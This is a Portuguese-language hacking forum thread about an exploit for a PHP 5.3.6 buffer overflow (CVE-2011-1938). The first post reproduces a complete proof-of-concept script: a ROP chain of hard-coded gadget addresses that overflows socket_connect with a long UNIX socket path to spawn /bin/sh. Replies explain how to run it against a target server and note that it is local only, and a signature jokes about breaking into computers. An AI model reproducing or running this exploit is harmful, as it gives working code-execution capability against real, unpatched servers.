Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

php 5.3.6 Buffer Overflow..

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Exploit php 5.3.6 Buffer Overflow..

    Olá pessoal, encontrei um exploit por ae, só que estava em php, e eu não consigo entender como ele funciona, alguem entende? muito bom por sinal, php 5.3.6 é novissimo ainda.
    ** Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
    ** 2011-06-04
    **
    ** Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
    **
    ** Stack-based buffer overflow in the socket_connect function in ext/sockets/sockets.c
    ** in PHP 5.3.3 through 5.3.6 might allow context-dependent attackers to execute arbitrary
    ** code via a long pathname for a UNIX socket.
    */

    echo "[+] PHP 5.3.6 Buffer Overflow PoC (ROP)\n";
    echo "[+] CVE-2011-1938\n\n";

    # Gadgets in /usr/bin/php
    define('DUMMY', "\x42\x42\x42\x42"); // padding
    define('STACK', "\x20\xba\x74\x08"); // .data 0x46a0 0x874ba20
    define('STACK4', "\x24\xba\x74\x08"); // STACK + 4
    define('STACK8', "\x28\xba\x74\x08"); // STACK + 8
    define('STACK12', "\x3c\xba\x74\x08"); // STACK + 12
    define('INT_80', "\x27\xb6\x07\x08"); // 0x0807b627: int $0x80
    define('INC_EAX', "\x66\x50\x0f\x08"); // 0x080f5066: inc %eax | ret
    define('XOR_EAX', "\x60\xb4\x09\x08"); // 0x0809b460: xor %eax,%eax | ret
    define('MOV_A_D', "\x84\x3e\x12\x08"); // 0x08123e84: mov %eax,(%edx) | ret
    define('POP_EBP', "\xc7\x48\x06\x08"); // 0x080648c7: pop %ebp | ret
    define('MOV_B_A', "\x18\x45\x06\x08"); // 0x08064518: mov %ebp,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
    define('MOV_DI_DX', "\x20\x26\x07\x08"); // 0x08072620: mov %edi,%edx | pop %esi | pop %edi | pop %ebp | ret
    define('POP_EDI', "\x23\x26\x07\x08"); // 0x08072623: pop %edi | pop %ebp | ret
    define('POP_EBX', "\x0f\x4d\x21\x08"); // 0x08214d0f: pop %ebx | pop %esi | pop %edi | pop %ebp | ret
    define('XOR_ECX', "\xe3\x3b\x1f\x08"); // 0x081f3be3: xor %ecx,%ecx | pop %ebx | mov %ecx,%eax | pop %esi | pop %edi | pop %ebp | ret

    $padd = str_repeat("A", 196);

    $payload = POP_EDI. // pop %edi
    STACK. // 0x874ba20
    DUMMY. // pop %ebp
    MOV_DI_DX. // mov %edi,%edx
    DUMMY. // pop %esi
    DUMMY. // pop %edi
    "//bi". // pop %ebp
    MOV_B_A. // mov %ebp,%eax
    DUMMY. // pop %ebx
    DUMMY. // pop %esi
    DUMMY. // pop %edi
    DUMMY. // pop %ebp
    MOV_A_D. // mov %eax,(%edx)
    POP_EDI. // pop %edi
    STACK4. // 0x874ba24
    DUMMY. // pop %ebp
    MOV_DI_DX. // mov %edi,%edx
    DUMMY. // pop %esi
    DUMMY. // pop %edi
    "n/sh". // pop %ebp
    MOV_B_A. // mov %ebp,%eax
    DUMMY. // pop %ebx
    DUMMY. // pop %esi
    DUMMY. // pop %edi
    DUMMY. // pop %ebp
    MOV_A_D. // mov %eax,(%edx)
    POP_EDI. // pop %edi
    STACK8. // 0x874ba28
    DUMMY. // pop %ebp
    MOV_DI_DX. // mov %edi,%edx
    DUMMY. // pop %esi
    DUMMY. // pop %edi
    DUMMY. // pop %ebp
    XOR_EAX. // xor %eax,%eax
    MOV_A_D. // mov %eax,(%edx)
    XOR_ECX. // xor %ecx,%ecx
    DUMMY. // pop %ebx
    DUMMY. // pop %esi
    DUMMY. // pop %edi
    DUMMY. // pop %ebp
    POP_EBX. // pop %ebx
    STACK. // 0x874ba20
    DUMMY. // pop %esi
    DUMMY. // pop %edi
    DUMMY. // pop %ebp
    XOR_EAX. // xor %eax,%eax
    INC_EAX. // inc %eax
    INC_EAX. // inc %eax
    INC_EAX. // inc %eax
    INC_EAX. // inc %eax
    INC_EAX. // inc %eax
    INC_EAX. // inc %eax
    INC_EAX. // inc %eax
    INC_EAX. // inc %eax
    INC_EAX. // inc %eax
    INC_EAX. // inc %eax
    INC_EAX. // inc %eax
    INT_80; // int $0x80

    $evil = $padd.$payload;

    $fd = socket_create(AF_UNIX, SOCK_STREAM, 1);
    $ret = socket_connect($fd, $evil);
    ?>

  • Font Size
    #2
    Salva o arquivo com extensão "php" (qualquernome.php) e abra uma conexão reversa ou direta entre sua máquina e o servidor alvo. Execute o arquivo da seguinte maneira:
    Código:
    php qualquernome.php
    E pronto.
    No mais, valeu cara, tava precisando kkk
    Este material pode ser compartilhado, desde que os devidos créditos sejam dados.



    Notify-list · Twitter · Blog

    Nova lei: Invadir computadores protegidos é crime.
    Lógica: Se eu invadi, não é protegido. Logo, não é crime :-)

    Comment


    • Font Size
      #3
      Postado Originalmente por 0KaL Ver Post
      Salva o arquivo com extensão "php" (qualquernome.php) e abra uma conexão reversa ou direta entre sua máquina e o servidor alvo. Execute o arquivo da seguinte maneira:
      Código:
      php qualquernome.php
      E pronto.
      No mais, valeu cara, tava precisando kkk
      O exploit é local. Não precisa ser executado por CLI, e nem existe conexão entre sua máquina e o alvo. É o alvo e o alvo.
      O bug apenas está na lib de sockets. Inútil na maioria das hospedagens, já que dependendo da flag utilizada, a lib de sockets precisa de root e então os sysadmins desabilitam.

      []'s
      Desenvolvedor Perl, PHP, .NET (C#, VB.NET, ASP.NET), Java (J2EE), Shell Script, JavaScript/Ajax, C, amante de Linux e noob.

      twitter | last.fm

      Comment


      • Font Size
        #4
        uehueheuuahahau pois é.. é local.. eu n sou tão noob assim 0kal ahahha.

        UHuaha KCT, fvox é um ninja mesmo.

        Comment

        X
        Working...
        X